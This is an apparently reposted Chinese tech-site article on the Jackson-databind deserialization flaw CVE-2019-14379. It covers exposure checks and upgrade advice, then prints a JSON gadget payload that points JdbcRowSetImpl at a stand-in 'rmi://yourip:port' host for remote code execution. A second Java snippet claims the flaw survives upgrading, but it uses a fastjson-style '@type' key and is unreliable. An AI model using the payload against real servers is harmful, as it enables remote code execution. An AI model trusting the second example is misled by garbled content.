分析jackjson的安全漏洞CVE-2019-14379

分析Jackjson的安全漏洞CVE-2019-14379可以通过以下几个步骤:

1.了解CVE-2019-14379漏洞的背景和影响

CVE-2019-14379是一个由Jackson-databind 库的反序列化漏洞引发的安全问题。这种漏洞可以让攻击者远程执行任意代码,从而导致服务器遭到攻击、数据丢失或泄露。

2.检查自己的应用程序是否受到漏洞的影响

检查应用程序是否使用了旧版本的Jackson-databind 库,并确认应用程序是否接受带有不受信任数据的 JSON 输入。如果应用程序使用了受影响版本的库,并显示 JSON 输入,则该应用程序受到漏洞的影响。

3.确定解决方案

要解决这个问题,需要升级Jackson-databind 库至最新版本,这个漏洞已经在更高版本的Jackson-databind 库被修复。如果Jackson-databind 库升级到最新版本不可行,则通过验证JSON输入来减少应用程序的泄漏漏洞。

4.了解攻击者的行为

攻击者可以通过构造恶意的JSON输入来触发反序列化处理过程中的漏洞。为了防止攻击者成功利用此漏洞,重要属性应该明确标识,并且应该不接受来自不受信任的输入。为了降低攻击的风险,应该对 JSON 输入进行限制以防止一些恶意组合。

下面是一个利用要点1中被公开的漏洞复现产生远程代码执行的payload:

{
    "a": {
        "@class": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://yourip:port/someobj",
        "autoCommit": true
    }
}

同时,以下是应用了要点3中的升级仍然可以触发漏洞的例子:

String payload = "{\"@type\":\"com.fasterxml.jackson.databind.ObjectMapper\",\"monitoredOptions\":null,\"injectableValues\":null}";
ObjectMapper mapper = new ObjectMapper(new JsonFactory());
mapper.enableDefaultTyping();
mapper.readValue(payload, ObjectMapper.class);

以上是详细讲解分析Jackjson的安全漏洞CVE-2019-14379需要进行的操作和使用攻击方法的例子。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:分析jackjson的安全漏洞CVE-2019-14379 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • SpringBoot应用的打包和发布实现

    打包和发布Spring Boot应用可以使用多种方法,下面是一些常见的方法: 方法一:使用Maven插件打包并上传到服务器 步骤一:使用Maven构建Spring Boot应用 在pom.xml文件中添加以下依赖: <!– 引入Spring Boot的pom依赖 –> <parent> <groupId>org.spr…

    Java 2023年5月19日
    00
  • Java线程安全的计数器简单实现代码示例

    下面就是“Java线程安全的计数器简单实现代码示例”的完整攻略。 什么是线程安全? 在讲解线程安全的计数器实现前,必须先了解什么是线程安全。简而言之,线程安全是指程序的多线程执行不会影响程序整体执行结果的正确性。 在Java中,线程安全通常是指多线程执行同样的代码时,不会出现数据竞争、死锁等问题。 如何实现线程安全的计数器? 实现线程安全的计数器,可以采用多…

    Java 2023年5月19日
    00
  • Springboot集成jdbcTemplate过程解析

    下面就是Springboot集成jdbcTemplate的完整攻略。 简介 jdbcTemplate是Spring框架提供的对JDBC操作的封装,可以大大减少项目中JDBC代码的编写量,提高开发效率。Springboot集成jdbcTemplate非常简单,可以通过简单的配置即可完成。 配置依赖 首先,在Springboot项目中引入jdbcTemplate…

    Java 2023年5月20日
    00
  • 基于spring mvc请求controller访问方式

    基于Spring MVC请求Controller访问方式的完整攻略 Spring MVC是一种基于Java的Web框架,它可以帮助我们快速开发Web应用程序。在Spring MVC中,我们可以使用Controller来处理请求,并返回响应结果。本文将介绍如何使用Spring MVC请求Controller访问方式,并提供两个示例说明。 步骤一:创建Contr…

    Java 2023年5月17日
    00
  • java Springboot实现多文件上传功能

    下面是Java SpringBoot实现多文件上传功能的完整攻略: 1. 搭建SpringBoot工程 首先我们需要通过Maven或Gradle来搭建一个SpringBoot工程,这里以Maven为例: <dependency> <groupId>org.springframework.boot</groupId> &lt…

    Java 2023年5月19日
    00
  • jpa多数据源时Hibernate配置自动生成表不生效的解决

    下面是详细讲解“jpa多数据源时Hibernate配置自动生成表不生效的解决”的完整攻略。 背景 在使用JPA进行多数据源配置时,我们可能会遇到一个问题:配置了Hibernate自动生成表的语句,但是在应用启动时并没有执行SQL脚本,表也没有自动创建出来。这可能让人感到困惑,本文提供了一个可行的解决方案。 问题分析 首先,我们需要明确一点,如果在单数据源的情…

    Java 2023年5月20日
    00
  • MyBatis注解实现动态SQL问题

    下面是针对”MyBatis注解实现动态SQL问题”的完整攻略: 动态SQL语句的背景: 在进行数据库操作时,我们经常会用到动态SQL语句,而MyBatis也提供了多种方式来实现动态SQL,比如XML方式等,但是本文主要讲解注解实现动态SQL的问题。注解方式的实现相比XML更加简洁,可读性更强。在注解方式中,我们可以使用MyBatis提供的@SelectPro…

    Java 2023年5月20日
    00
  • 史上最全Java8日期时间工具类(分享)

    首先,该文章介绍了作者基于Java 8中的日期时间API开发的一个日期时间工具类,该工具类可以方便地进行常用的日期时间操作。以下是工具类的一些主要特点: 支持多种日期时间格式字符串的解析和格式化。 提供丰富的日期时间计算和转换方法。 更符合人类习惯的日期时间输出格式。 接下来,我们详细讲解一些该工具类的常用方法: 将日期时间转换成指定格式的字符串 使用该工具…

    Java 2023年5月20日
    00
合作推广
合作推广
分享本页
返回顶部